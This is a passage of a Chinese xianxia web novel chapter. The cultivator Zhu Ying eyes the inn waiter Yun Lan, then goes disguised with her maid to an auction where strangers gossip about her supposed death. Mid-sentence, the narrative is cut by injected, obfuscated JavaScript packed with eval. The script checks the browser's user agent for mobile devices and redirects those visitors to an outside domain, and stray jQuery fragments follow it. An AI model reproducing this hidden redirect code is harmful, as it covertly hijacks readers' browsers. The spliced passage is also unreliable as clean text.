店小二不了解祝楹,他还能不了解年轻姑娘的心思吗?那话本子里可说了,姑娘们要是对哪个异性不一样,十有八九是看上了,剩下的那一两成,或许有别的目的。
他觉得,像祝楹这么貌美的女子,云澜那般俊俏的公子,肯定是为了那情啊爱啊的。
祝楹如果知道小二此时此刻的心里想法,她肯定会说他一句“肤浅”!她根本就不是哪种见色起意的人好吗?
“姑娘,您就请好吧。”店小二嘿嘿笑着,拿着菜单去找云澜,把写菜的本本塞到他手里:“兄弟,你真是好福气。”
云澜还在整理他腰上的软剑,没太明白小二这话是什么意思,他想了想,应该是在夸他运气好,被掌柜好心收留做了跑堂吧?
云澜整理好软剑,这才得空看小本本,笑容温润:“运气确实不错。”
店小二递给他一个意味深长的眼神,随后指着祝楹那桌说:“那边的客人交给你了,我去楼上雅间看看那里的贵客有没有什么需要的。”
“你尽管去,这里交给我就行。”云澜初做跑堂,月钱两百个上品灵石,他不得把这间客栈当祖宗供起来啊?
想他们无名宗那帮“老弱病残”,还在等着他回去救治,这么艰巨的任务压在他的肩膀上,他自然要尽心尽力。
更何况他们无名宗臭名远扬,掌柜肯收留他已经是莫大的恩赐,换句话说,掌柜的就是他的衣食父母!顾客就是他的叔叔姨姨!
云澜看向祝楹,他走过去,脸上露出标准微笑,摊开小本本,清清嗓子:“您一共点了六道菜,有红烧鸡翅、香煎鲫鱼、……可对?”
祝楹微微点头:“对。”
“如果没什么问题,那我便报菜给后厨,让他们直接做。”
“好。”
云澜微微颔首,笑着去了后厨。
这边,莺绿说:“姑娘莫不是看上他了?这人武功凑合,皮囊也凑合,您要是真喜欢,奴婢把他绑了送给你!”
匪气十足,匪气十足啊!祝楹无奈地揉了揉额角:“莺绿,出门在外,低调行事,这里不是桃源城,不可肆无忌惮。”
“您的意思是,把他绑到桃源城再送给您?”
“……”祝楹无话可说,叹了口气,慢慢教导:“凡事讲究循序渐进,不可急于求进,更何况,我只是对无名宗感兴趣,对他的修为感兴趣,至于他这个人,我没什么兴趣。”
见色起意是什么东西?她活了两辈子都不知道,但她能确定的是,她活了这么久所见过的人当中,只有行云宗师尊的那张脸,能在她这里排得上号。
云澜嘛,略输一筹。
不过人不可貌相,初次见师尊,宛如谪仙,人好看,修为高,保护一方百姓,她觉得他是九州最值得尊敬的人,心中只有对他的敬佩和尊重,死过一次后,她幡然醒悟,像他那般道貌岸然的伪君子,她见一次骂一次,当面骂不得,背后还骂不得?她吃过一次亏,往后可不能再吃了。
莺绿点了点头,似懂非懂:“我明白了。”
祝楹的思绪被拉回来,她握着茶盏慢慢转动:“明白就好。”
等了一炷香的时间,云澜端着菜从后厨过来,看到他的姿态,祝楹不禁拍手喊“漂亮”,只能说修仙者不愧是修仙者,就算是臭名远扬的无名宗,里面的弟子也身手不凡。
譬如现在,云澜两手端盘子,头顶一道菜,两边肩膀还各放了一道菜,至于最后一道菜,如果不是怕食客们嫌弃,他恐怕会用嘴把最后一道菜叼上来。
周围的食客们忽然就对无名宗改变了看法,对于云澜的这种行为连连拍手叫好。
祝楹:“……”果然啊,人心中的成见是一座大山。
上完菜,莺绿擦了擦筷子递给祝楹,她接过后开始慢慢品菜。入口是微辣的味道,没有桃源城的口味那么淡,她挺喜欢这种味道。
莺绿却被辣的直吸气,一口气喝了两杯水,一言难尽的看着祝楹:“你不觉得辣吗?”
“还好。”祝楹放下筷子,不紧不慢道:“往后我们要长久居住在凤洲城,你得习惯这种味道。”
莺绿点了点头:“是,我记下了。”
看来姑娘很喜欢凤洲城,只要姑娘开心,她就开心。
一旁的云澜见状,自作主张给她们上了一壶茶:“这是凤洲有名的茉莉花茶,解辣下火,我想你们应该需要这个。”
祝楹正愁接下来该怎么搭讪,没想到云澜却自动送上门了。
“多谢,公子有心了。”祝楹微微抿唇,道:“凤洲偏爱辣的口味吗?”
“大多数,像我们宗门那几个老弱病残,他们都喜欢重辣口味的饭菜,我那小师弟常常因为吃辣吃多而……”说到这里,云澜突然顿住,然后微微颔首面露歉意:“抱歉,我话多了。”
话听到一半就没了,祝楹这抓心挠肝啊,她想追问,可是又觉不太合适,只好摇了摇头:“无妨。”
云澜:“嗯,店里忙,不打扰您用饭。”
说完,人就走了。
莺绿瞧着他的背影握紧拳头,憋的脸通红:“这人怎么说话说一半,这不是成心让人不顺气吗?”
“你呀就是性子太急,来日方长,今后咱们在这里长住,免不了跟他打交道,你还愁不知道他的后半句话是什么?”其实祝楹大概能猜到。
吃辣吃多了会怎么样?那当然是屁股长大包,云澜应是觉得眼下这种场合不适合说这些,于是才及时止损。
莺绿拿着筷子戳自己的饭碗,边戳边给自己洗脑:“好好好,不急不急,心平气和,不急不急,来日方长……”
祝楹摇头笑了笑,甚是无奈。
***
晚上,墨色从天边砸过来,黑压压一片,凤洲城各个店铺的门前灯一盏接一盏亮起来,甚是漂亮。这个时候在街上散步的人比白日里多了许多,温度也比白天时凉爽许多。
祝楹批了件外衣,带着莺绿去外面四处转转。
两人走到楼下时,大堂里的桌椅板凳被食客们坐满,到处都是热闹气氛,云澜忙的不可开交,不远处的那桌姑娘们频频看向他,随后露出害羞的笑容。
莺绿跟在祝楹身边感叹:“真热闹呀。”
祝楹缓缓道:“是呢。”
两人出了客栈,随便找了个方向一路闲逛。路过灵宝阁,祝楹一下子被里面的热闹吸引到了。
灵宝阁除了卖奇珍异宝,还拍卖各种各样的宝贝,价高者得,每每有这种活动,祝楹是凑热闹凑的最快的那一个,她偏爱那些稀奇古怪的珍宝,每次拍完后带回家,都会被爹娘一通教训,说她买的都是些什么古怪玩意儿。
就像现在这般,爹娘的教训变成了莺绿的唠叨和害怕,莺绿拉着她的衣袖,幽幽开口:“姑娘,你不会又要……”
祝楹打断她:“莺绿,你是不是最听我的话?”
“是,姑娘让我做什么我就做什么,姑娘想做却不敢做的事情,我都可以帮你做,我生是你的人,死是你的魂!”
“口是心非的骗子,我现在想去灵宝阁逛逛,你拉着我衣服做甚?”祝楹晃了晃胳膊。
莺绿:“……”好手段!
莺绿坚持阻拦:“你上次买的乌龟爬行灯还在我的储物戒放着呢,你要是觉得无聊,我马上就把乌龟爬行灯放出来。”
“不,打败乌龟爬行灯的只有下一个宝物。”祝楹转身走进巷子,拿出符念咒语,眨眼间的功夫,她从女郎变成了男儿身。
祝楹又抽出一张符咒对准莺绿:“去。”
莺绿也变成了男儿身,只不过她那张跟苦瓜一样的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16043247|178876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脸就跟没变过似的。
祝楹拍了拍她的脸:“好了,开心点。”
莺绿:(??ˇ?ˇ??)
两人进了灵宝阁,拍卖师的声音从正中间的台子上传过来,台子周围站了一群人,最里面的人是坐着的,有座位的都是有身份的,非富即贵。
好吧,其实修为高的话也可以坐在那边的。
苦瓜脸莺绿终于妥协,叹了口气无奈道:“公子,我去后面给你申请个位置。”
“不必,咱们就是来凑个热闹,顺便看看有没有好东西,不需要这么刻意。”
“那咱们去二楼看。”
“行。”
祝楹的修为,算不上高,也不算低,刚好卡在中间的金丹后期修为,不过她的修为很少有人知道,她这个年纪有金丹后期已经是九州的奇才。
俗话说得好,树大招风,祝家怕她修为外露被各大宗门的人来比试,亦或者把她当做不一般的人来培养,所以隐瞒了她的真实修为。
上次从鼎雾山出来,她名声大噪,后面又出了行云宗那档子事,她爹无奈之下只能说谎宣布她的死讯,估计她的名声都快被人淡忘了,人生啊,真是大起大落。
这样也好,往后不用再提心吊胆了。
上了二楼,找了个视线好的位置坐下,灵宝阁的管事儿立马差人送来点心茶水,这种待客方式不错,以后得跟云祥客栈的掌柜说说,让他也把这种待客方式做起来。
管事儿的走后,送茶水的仆人并未走,这是灵宝阁的规矩,得帮着客人拍卖客人想要的东西,另外在离开灵宝阁时,要是运气好的话,仆人还能收到客人赏的银子和零食。
祝楹见怪不怪,喝了口茶水,打开折扇缓缓摇着。
莺绿说:“公子,我帮您摇。”
“不必。”
二楼坐了不少客人,男女各占一半,不过……祝楹眯了眯眼睛,今个儿这场拍卖宝物会还挺热闹,她的右手边,再往右,以及对面的那几位公子…嗯,应该说那几位都是姑娘,跟她一样使用了易容符。
有趣,实在有趣。
旁边客人的谈话声传过来,祝楹本不予理会,可是从他们的谈话声中,她听到了熟悉的名字。
“你们听说了吗,祝家的那位天才好像死了。”
“哪个祝家?”
“还能是哪个,桃源城那个,听说从鼎雾山出来后中邪了,没扛过去,连行云宗的师尊都出手了,也没能救活她。”
“噫,这岂不是天妒天才?”
“我看呢,未必是天才,鼎雾山之行,她虽然活着从里面走了出来,但不还是中邪了?终究是没逃得过鼎雾山的魔爪。”
“啧啧,真是可惜,听说今年才十七岁。”
“可惜啊可惜,生命太脆弱了,说没就没。”
……
听着他们的对话,祝楹没有任何不爽,甚至还颇有几分兴致,“天才”“奇才”这些称呼戴在她脑袋上戴了太久,该卸下去了。
莺绿凑近她耳边,轻声道:“公子,需不需要……”
她比了个抹脖子的手势。
祝楹揉揉眉心:“我先前是怎么教你的,你倘若再这般行事,别怪我把你送回去。”
“我错了,我以后不说了!”莺绿捂住嘴,站直身子,一声不吭。
祝楹无奈叹气,真是没办法。
一旁的仆人:……这对主仆的感情是不是好得太过分了?
“哈哈哈,你们都是道听途说,我这里有内部消息,其实祝家那天才并没有死。”一道清丽的女声传遍二楼。
祝楹闻声看过去,她的目光依次落在那姑娘脸上、她手中的折扇上、她腰间的软剑上……
祝楹:?
嗯?有点眼熟,不确定,再看看。